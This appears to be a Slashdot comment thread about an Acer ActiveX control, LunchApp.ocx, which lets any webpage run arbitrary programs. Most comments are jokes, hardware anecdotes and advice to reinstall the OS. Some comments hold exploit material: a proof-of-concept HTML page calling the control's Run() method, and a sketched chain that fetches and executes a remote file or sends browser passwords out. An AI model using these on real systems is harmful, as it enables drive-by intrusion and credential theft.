Acer May Be Bugging Computers 396
tomjen writes "What if a well known laptop company had silently placed an ActiveX Control on their computers that allowed any webpage to execute any program? Well Acer apparently has and they have (based on the last modified-by date of the file) been doing this since 1998. 'Checking the interface of the control reveals it has a method named "Run()" as shown below. The method supports parameters "Drive", "FileName", and "CmdLine". Isn't it strange for a control that's marked "safe for scripting" to allow a method that is suggestive of possible abuse?'"
But dude... (Score:5, Funny)
Re:But dude... (Score:5, Funny)
Re:But dude... (Score:4, Funny)
They're Ferarri's what?
Re: (Score:3, Funny)
And now that it's publicized... (Score:5, Interesting)
Re: (Score:3, Interesting)
Re: (Score:2)
Re:And now that it's publicized... (Score:5, Funny)
Re: (Score:2)
Re:And now that it's publicized... (Score:5, Informative)
Opps! Nothing like bad publicity.. (Score:2)
Uhh, there already IS an exploit... (Score:5, Informative)
But as you can run ANY windows binary with any command line (at least according to the article), actual exploitation is trivial.
present on Aspire 1690 (Score:3, Informative)
Safe (Score:2, Informative)
Checked mine, its present :( Anyone know if its safe to make that file and its registry entry 'disappear' ?
Sure, just go get the Mepis Patch [mepis.org]. This will end all of your activeX problems. It won't end your Flash, Adobe and other problems but those are minor in comparison.
Really, do you think eliminating this one control will make your computer safe? Chances are there are coppies that will "respawn" later, a common malware trick, and that there are far nastier controls you don't know about. The malic
Re: (Score:2)
Ive set its kill bit in the mean time though
Re: (Score:2, Insightful)
And he would be absolutely correct, well acer is not exactly off the hook here either.
@mozilla.org/process/util;1 (Score:4, Informative)
Re:@mozilla.org/process/util;1 (Score:5, Insightful)
The difference between ie activex and fx extensions is that firefox encourages you to go through addons.mozilla.org, for which all the extensions are reviewed (though I don't know how thoroughly) and update automatically (eg if exploits are found).
Re:present on Aspire 1690 (Score:5, Informative)
Goto Start > Run and type:
regsvr32 -u lunchapp.ocx
(-u for uninstall)
Re: (Score:2)
Re:present on Aspire 1690 (Score:5, Insightful)
Re:present on Aspire 1690 (Score:4, Informative)
hahaha.Run("c", "\\windows\\system32\\regsvr32.exe", "-u lunchapp.ocx")
?
Re: (Score:3, Informative)
The 4th USB port (Score:4, Interesting)
Re:The 4th USB port (Score:5, Insightful)
Plus, if they do no wireless, Wifi-only and Wifi+BT models, with a single Mini-PCI slot, they would need both Wifi and Wifi+BT cards, if they have a "hidden" USB port, they only need to stock Wifi mini-PCI cards and USB bluetooth adapters, the same adapters that are sold independently.
Re: (Score:3, Insightful)
That's an insane attitude. Do you have any idea how many other unused parts there are in any PC? Strip it down to the motherboard and you'll find blank places for additional ports. Sometimes these even have blankers on the case in laptops. I used to work as an engineer in a laptop factory and one of our models had the places for a 9V adapter (it had a mains adapter as st
Re: (Score:3, Insightful)
It's an appendix. (Score:5, Interesting)
In an old Mac of mine (G4 "Sawtooth"), there is an internal Firewire port right on the motherboard, even though there are virtually no (to my knowledge anyway) internal Firewire devices available. The most useful thing you can do with it is run it out to a dummy card-slot panel and give yourself an extra external port. (I suppose you could also run another HD by using a IDE to FW converter card, if you could find a small enough one.)
It's there, I suspect, because when they were designing that mobo, it wasn't clear that Firewire would be used primarily for DV and external peripherals, and wouldn't become the internal-peripheral interconnect of choice. For all the designers knew, Firewire could have become like SATA is today, with hard drives being built for it natively. In that case, having one inside the case could be useful as hell (particularly since that machine has space for 4 or 6 internal 3.5" HDs and 2 removable-media drives). They had no way of knowing that it would end up being the electronics version of an appendix.
I suspect if you were to look around closely at the first generations of a lot of technologies, you'd find a lot of things like this; design decisions made for possibilities that just didn't pan out, but were left there anyway.
Re: (Score:3, Informative)
Like multiple camera angles on DVDs? There's even a 'camera' button taking up space on my remote.
Multiple Angles (Score:3, Insightful)
Of course I'm talking about the driving force behind almost all new electronical inventions, the Pr0N.
Re: (Score:3, Funny)
The extras where Homer works up the live studio audience before filming a show are great too.
PHB == appendix (Score:5, Interesting)
Many moons ago I worked on a large project where we supplied a logistics application along with 8000 laptops that we were also expected to maintain. The spec's for the laptop's were written into the $80M/5yr contract, in particular the contract specified "special" (ie: manafactured by our sister company) laptops with a 120M HDD. A thousand or so laptops were delivered immediately, I suspect this was mainly to garner a large initial payment, 800 were then stored in a warehouse by the customer for 2yrs while we wrote the software and ran a pilot with the other 200.
When it came time to ramp up to full production we found we could no longer get 120M HDD's but could get 250M for the same price (the HDD's were third party PCMCIA cards that were supposed to be "pre-imaged" by the hardware guys). The Dilbert moment happened when a PHB with way too much time on his hands had to sign the purchase order and demanded 120M HDD's because "that's what's it says in the contract". The solution was illogical but effective, we quietly arranged for our hardware friends to format the 250M physical drive into a 120M logical drive and ignore the remaning space (and told them why). A few PHB readable edits to the PO and hey presto a warehouse full of laptops with our software pre-installed on 120M drives and an extra PHB-invisible partion.
Now throwing away half the drive is clearlly illogical but in my mind it was the "optimal" solution, with the possible exception of a time consuming appendectomy that would gum up the workflow for weeks/months and could possibly result in a devil we didn't know taking over. I also say "optimal" because: The PHB belived he had asserted his authority over the project and a rival PHB in the sister company, all with just one demand. From what I recall he went off to pester someone else and gloat about it. Not only did it nueter the PHB but HR, the lawyers and the accountants were kept in their cages, the techies got a good laugh, and the customer remained oblivious to the whole fiasco.
Finally, a year or so into production when the image size started to bloat towards the 120M limit, the same PHB asked for a costing to retrofit bigger drives, like any good salesman we umm'ed and ahh'ed then went off to "see what we could do" before announcing we could remotely activate a new D: drive on a standard update cycle using some simple "magic" and a couple of mandays labour. The news delighted the PHB who promptly added a manday for his own "time". We didn't even hint that it was his previous demand had caused the current space squeeze, we simply saved our eveidence in case an appendectomy was required at some future random impasse. We also saved all the "can do" brownie points for the next time we had to convince the same PHB that his proposed solution to some imaginary problem really, truly, is a "can't do" situation, regardless of what PC week says.
Re: (Score:3, Insightful)
Isn't it a little bit naive (Score:3, Interesting)
I bet that buried in the EULA somewhere is a statement about remote support or some other such thing that would negate any complaints about this code as far as culpability goes. Wonder what they will do now that the botnet boys know its there? Just one more reason that people who want to have a safe computer should learn how to administer one properly... IMO.
Re: (Score:3, Insightful)
P.S. I want to see Holmes on Homes run across a secret explode-on-remote-command thing in an episode. That would mak
Re: (Score:3, Interesting)
Anyone, almost, can get a license to drive a car. The few that will put power steering fluid in their oil because they know nothing about cars will learn a very expensive lesson. There are many examples here where just a grounding of common sense would save people from very costly and perhaps embarrassing episodes. There are awards ev
Lessons learned... (Score:5, Insightful)
2) When you can't build your own (laptops), *always* re-install your OS after purchasing a new computer, and for God's sake use a real install CD and not the recovery one provided by the manufacturer.
Re: (Score:3, Insightful)
So, for the other 99% of users (you know, the ones who just want a computer that does what it's advertised to do), what's the solution?
Re: (Score:3, Insightful)
Buy a Mac.
(Seriously.)
cvrsd;lk.a5df.a,pfll; (Score:2, Funny)
LunchApp.ocx (Score:5, Funny)
The original article failed to notice that it's a Lunch application. It's actually a throw back to when Acer briefly partnered up with 180solutions to deliver targeted pop-under sandwiches to hungry laptop owners. The idea being that after seventeen hours of trying to uninstall Bonsai Buddy the computer user would be debilitated through starvation and susceptible receptive to sp(iced h)am..
The program was abandoned when Acer's engineers failed to perfect the wasabi-over-ip protocol - leaving the whole system unreliable an prone to bagel overrun.
Re: (Score:2)
engineers failed to perfect the wasabi-over-ip protocol
Wasn't that the forerunner of Hamachi [hamachi.cc]?
SWAH!?! (Score:5, Funny)
Acer still makes computers? People still buy them?
I remember Acer being a budget brand with a bad rep for quality and customer service back in the mid- to late-90s. I can't believe they are still a going concern.
Re: (Score:2)
Re: (Score:2)
Look harder?
Every other laptop I see these days is an Acer. Hell, I'm on an Acer right now (the Aspire series run Solaris fantastically).
Quality's not bad on them these days and they're about half the price of the exact same laptop rebranded (Toshiba made a line of laptops that had the same hardware including case as the Aspire's, I imagine they were just rebrands)
Re:SWAH!?! (Score:5, Interesting)
Depends on what you mean by that. I'm prepared to believe that Acer, or some of its subsidiaries, handles a significant amount of manufacturing for otherwise famous (and respected) OEM brands. That said, Acers are junk, some of those brands are not.
Having worked in manufacturing, I can say with confidence that it's *usually true* that the manufacturer can just about build anything to any quality level you desire, the only force stopping you is the almighty dollar. I worked in an auto parts plant, and we made the crappiest of parts that would die on you after a couple years to the most premium of car parts that would go on working for decades... It all depends on how much the customer is paying.
I suspect Acer, Asus, Foxconn, and any other manufacturing contractors are exactly like this. While Acer's own branded laptops are invariably crap (waaaaay too many bad experiences, ugh), I would not be surprised in the least if quality laptops are made under the same roof, for other people.
contract manufacturing of computers (Score:4, Interesting)
Re: (Score:3, Interesting)
The Acer Service Center which I was a frequent visitor at with the 4600 offers extended warranties. The extended warranty for the "business line" is half the price of
Late again! (Score:5, Informative)
Easy fix for this problem (Score:2, Insightful)
"Pre-hosed" -- always wipe it (Score:4, Interesting)
I've just seen too many machines come pre-hosed from the factory. For anything that sees production use, I want to pack my own parachute and know exactly what is on the machine.
On PCs, I try to find drivers from the underlying OEM rather than depend on the PC vendor, as usually the PC vendor's drivers tend to be outdated, except for motherboard/system board/IO planar flash.
Who Wudda Thought (Score:2)
IE7 stops the attack (Score:2)
Of course IE7 is only at 20% vs IE6 at more than 60%, but still, shows the browser going in the right direction.
Re: (Score:3, Informative)
The hatred towards ActiveX is largely unfound. What would happen to sites like YouTube or movie sites, video, audio sites, if all browsers are suddenly rendered incapable of supporting plugins.
The mistake of Microsoft was that ActiveX were way too easy to install, and this is corrected in a major way in IE7.
In fact, the plugin API and extensions of Firefox can do just as much damage and much easier (since people trust those) than Act
Re:I'm not impressed with this IE7 "improvement" (Score:5, Interesting)
So what was the beef with ActiveX again?
Oh, and in Vista, IE7 runs in limited mode even on admin accounts, so ActiveX controls are limited too. Firefox so far doesn't take advantage of this.
It's easy to open wide a big mouth and flame Microsoft, but the thing is: how is the competition better?
I won't be surprised if all it's better about (in terms of security) is that it's less popular and thus less targeted by malware authors. We've seen some of this during the Firefox adoption boom, but I'm afraid IE7 might kill the further adoption of Firefox so I can prove it.
Re:I'm not impressed with this IE7 "improvement" (Score:4, Insightful)
You don't need to sandbox the plugin itself - you need to sandbox any code the plugin downloads and executes. For example, a Java VM plugin is not in a sandbox, however *it* sandboxes the bytecode itself - the VM restricts what the code can do. On the other hand, ActiveX failed to do this since it provided functions to access every aspect of the host environment.
So this isn't anything to do with insecurities in the browser, this is down to insecurities in the plugin. Any firefox plugin that allows anything downloaded from the web to execute arbitrary commands on the host would be considered similarly insecure.
On behalf of Acer (Score:3, Insightful)
Solution to this 'bug': If you buy an Acer, by one that comes with Linux.
Re:On behalf of Acer (Score:5, Insightful)
pre-owned? (Score:5, Funny)
BBH
Test/exploit code (Score:4, Informative)
<html>
<body>
<object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3
</object>
<script>
hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
</script>
</html>
</body>
Question: is this another Acer backdoor? (Score:4, Informative)
P.S.: the article's backdoor was also present on my system. those bastards...
Re: (Score:3, Interesting)
That's just what happens when you install the
Pretty cool, huh?
Re:Phew! (Score:5, Funny)
Re:Phew! (Score:5, Funny)
Re:Phew! (Score:4, Funny)
Re:Phew! (Score:5, Funny)
Re:Phew! (Score:4, Funny)
Re:Phew! (Score:5, Funny)
Youngsters these days. Back then it was called dashdot, it predated even radio, the oldest of us trolled with semaphores. With the introduction of electrickity, the whole telegraph scene took off. Then some guy named Morse forked the project and publicised the code as his own. It's been downhill ever since.
Hitches up his braces, fires some chaw in the spittoon, waits for someone older to out-troll
the AC
Re: (Score:3, Informative)
It dates back to the Norman invasion (no, not Spiney, but 1066). The (primarily Norman French) aristocracy called food by the french words -- boeuf, jambon (hence ham), etc. The stuff the peasants ate, or that nobody ate (eg horse), wasn't.
BTW, the word "poultry" is similar to the french word for chicken -- poulet.
Re: (Score:2)
I'm still hoping that Lenovo will see the light and sell ThinkPads (or whatever they're calling them these days) without Windows; I never could get a bare one from IBM, and there was always just something galling about buying software that I don't want to use.
Re:Phew! (Score:4, Interesting)
and no, I wasn't going for humour mods... my laptop actually shipped with Linux, and I did wipe it for FreeBSD (it runs OpenSolaris now, but that's beyond the point).
Re:Phew! (Score:5, Informative)
I recently bought a laptop with Ubuntu pre-installed from The Linux Store [thelinuxstore.ca], which is in Ontario. I've been perfectly satisfied aside from the minor point that they only offer the choice of Ubuntu and Fedora Core when I would have preferred Debian.
Re:Phew! (Score:4, Insightful)
I run Debian
Re:Phew! (Score:5, Funny)
I immediately reformatted my newly-purchased Acer's hard disk, installed DR-DOS and Crosstalk and do all my computing on a VAX 11/750.
Next...
(My Acer - Windows) + Windows + Linux = Good (Score:5, Funny)
Actually, I have an Acer Aspire 1640. It's a nice machine for the $799 I got it for about 6 months ago. And Acer doesn't load a bunch of AOL/WildTangent/EarthLink/etc useless "applications" that are bundled because they can't stand on their own, like certain other manufacturers *cough*Dell*cough*HP*cough*. The few things that were bundled (counted on *maybe* 2 hands) were actually useful.
Once I got to college (where I have access to $10 Win XP Pro discs) I wiped it, reinstalled Windows (gasp!) *and* Ubuntu Linux. Works great, and with 120GB HD, plenty of space for both OS's. The Windows works great, since it's very light (only Windows-only stuff, everything else is on Ubuntu+Wine).
Hardware support on Linux is pretty decent. After some elbow grease, wireless, ethernet, widescreen, CPU power stepping, Sansa m250, even hardware buttons are working. Sound is the only thing I'm not sure about, output works fine, input seems finicky. I could probably fix it, but I don't care that much yet.
So...I'm not that concerned. Besides, who uses Internet Explorer anyway?
(That was sarcasm. I know the correct answer is "98% of everyone, luser!")
(That was sarcasm too. I know the correct answer is really "No, it's 89%, n00b!!11!!BBQ!! Look at my fancy link [example.com]!!")
(Other appropriate comments include "I for one welcome our new Acer-invited overlords", "In soviet russia, computers bug Acer!", "I use lynx, you insensitive clod", "Ubuntu sux. [Insert Distro Name Here] is sooo, like, better because [insert unsubtantiated claim here].", etc., ad infinitum.)
Re: (Score:3, Informative)
Re:Phew! (Score:4, Informative)
I don't know about SONY, but in my experience, HP are more generous than most in terms if disks included with their PCs.
Re: (Score:3, Informative)
I concur. I'm on my HP laptop right now, which is about 20 months old. It came with only one partition, so I had to format the entire thing when I got it to repartition it--I know I could have probably used something like Partition Magic, but I'm cheap and I wanted to uninstall all the cruft, like the Sonic garbage.
The upside is that it did some with a clean* (*HP OEM) Windows XP disk. Even though it was OEM, it gave me the option to keep most of the useless HP software off.
Beyond than, no problems y
Re: (Score:3, Informative)
Re:Phew! (Score:4, Informative)
Re:Phew! (Score:4, Informative)
$20 for the set of disks + $52.50(Dell refunded price for Windows) is about the same price you could buy Windows XP Home OEM version for.
Re: (Score:3, Interesting)
That's BS (Score:4, Informative)
All you need to do is burn the images (DVDs) when you get the laptop, and Sony positively nags you repeatedly to do it. Also, if you leave the recovery partition in place you can do it again later.
As for getting the original DVDs, they don't charge a ridiculous amount (in the $60 region) but they do ask for a ridiculous amount of proof that it's your own laptop and you're not going to share the disks with the world..
Don't know about HP, but have handled enough Sony laptops
Re:Phew! (Score:5, Funny)
Chef said it best (Score:3, Funny)
But sometimes, when the lovin' is over, the woman just wants to talk and talk
and talk and talk.
[song]
But a prostitute is someone who would love you
No matter who you are, or what you look like.
Yes, it's true, children.
That's not why you pay a prostitute,
No, you don't pay her to stay, you pay her to leave afterwards.
That's why I pays a lot for prostitutes! Ladies and Gentlemen, Mr. James Taylor.
James Taylor: A prostitute is like any other woman
T
Re: (Score:3, Insightful)
Re: (Score:2)
Wider scope (Score:5, Insightful)
Intel had to allow people to disable CPU ids.
Why is Microsoft allowed to "embed" an id string like the WGA identifiers that allow them to identify and traceback any individual who does an update of LEGALLY LICENSED SOFTWARE?!?!?
Why do I see a 3 year backlog of error/debug messages in certain WinXP system log files, and receive advice on how to disable error logging instead of someone FIXING THE PROBLEM?
Re:to those of us uneducated (Score:5, Informative)
Re: (Score:2)
Re:to those of us uneducated (Score:4, Informative)
of script in a web page. Now I can possibly own most acer laptops visiting that page.
The script could do something like this
ftp somehost
ftp get somefile
execute somefile
Bingo I own your laptop.
Or say I just ftp your firefox data so I can grab your history, passwords etc.
Re: (Score:2)
Re: (Score:3, Informative)
Re:to those of us uneducated (Score:5, Informative)
I really have a hard time understanding your mindset. You refuse to believe in the seriousness of the vuln even when people give you an attack vector example. Please, why ?
Re: (Score:3, Interesting)
Run(drive,path,"type \"FTP COMMAND LIST HERE\" > script.txt");
or any other method of entering arbitrary command-line data into a file.
Then, run as normal.
Re:to those of us uneducated (Score:5, Interesting)
A beginner & an AC - wants to know exactly how to execute the 'bad thing', and promises not to inhale
Oh...rudimentary...well, that's different. Since Acer would presumably have the power to control any aspect of your computer when you use it to log onto any webpage, all they need to do is to wait for you to access a site under their control, and bingo, they can lift all of your installation logs, cookies, saved passwords, MS WORD docs containing the words 'budget; personal; finance; medical; records; debt; sex, SSN (and all applicable variants),etc.
OK, let's say you are gullible enough to think that they can take all of that they want, and still not put you at risk - now, think for just a moment about who 'they' are...? What are the odds of 'they' going to all that trouble and not having some plan to do something with what they glean that you will not be pleased with...? Still not impressed?
How's this... Acer sits around and waits for just the right time and boom - they toggle a flag on your computer that makes it appear that it needs to have XYZ repaired, and what do you know, the only resource is...ACER!!
A new age variation on the old water-bag trick. One guy owned two service stations. One station was the last stop before heading out of LA, into the desert, heading for Palm Springs. The other was the last service station before heading out of Palm Springs, out across the desert, heading for LA. When a car stops on the LA side, the station staff sell the unaware traveler a scary story about being in the desert and having the car break down from overheating. Seems, tho, if you buy a canvas water-bag filled with water, and hang it on your car's front grille, it will supposedly help cool the air before it flows across the radiator. Best insurance money can buy. Thank ya now, ya'll have a safe trip!
Problem is, that big 'ol canvas bag actually blocks the airflow, and by the time you get near the other side of the desert, your car overheats and you have to pay the Palm Springs service station to come and tow your car and fix everything that broke from overheating. Not a small fee, even in those days. They explain how the bag is what did the damage, and the hapless owner tells them to keep it.
What do you think the Palm Springs service station guys do with the demon water-bag? Well, of course, they sell it to the next dupe going from there to LA, and even help by attaching it to the grille of his car. Thank ya now, ya'll have a safe trip!
I figure that one bag most likely made dozens of round trips across the Mohave, and put at least two generations of kids thru law school
Rumor has it owning those two stations was the fastest way to retirement until the big casinos came in and the real pocket-picking took off.
Re: (Score:3, Insightful)
Since Acer would presumably have the power to control any aspect of your computer when you use it to log onto any webpage, all they need to do is to wait for you to access a site under their control, and bingo, they can lift all of your installation logs, cookies, saved passwords, MS WORD docs containing the words 'budget; personal; finance; medical; records; debt; sex, SSN (and all applicable variants),etc.
OK, let's say you are gullible enough to think that they can take all of that they want, and still not put you at risk - now, think for just a moment about who 'they' are...? What are the odds of 'they' going to all that trouble and not having some plan to do something with what they glean that you will not be pleased with...? Still not impressed?
How's this... Acer sits around and waits for just the right time and boom - they toggle a flag on your computer that makes it appear that it needs to have XYZ repaired, and what do you know, the only resource is...ACER!!
I doubt their intentions are anything so malicious. TFA states that this control is from back in 1998. Back then internet security wasn't as big of a concern as it is now. They probably put the control in place with the intention that they could use it to launch a help-desk application or run commands for repairing the computer remotely (ie from a help desk tech). Maybe have knowledge base articles that link to pages that automatically run the repairs needed. The active-x control can certainly do all
Re: (Score:3, Insightful)
Well, duh
A good con man always remembers the mark... Not stepping in it is all part of the dodge [filmogs.com]. Most times, during those days, it was one way, and the odds of seeing the same mark were pretty low. Families and individuals going to California [lyricsfreak.com] to make a new start for their future, right after the war, were all part of an influx that would last for decades.
U-Haul celebrated 60 [uhaul.com]
Re: (Score:3, Informative)
Re: (Score:3, Informative)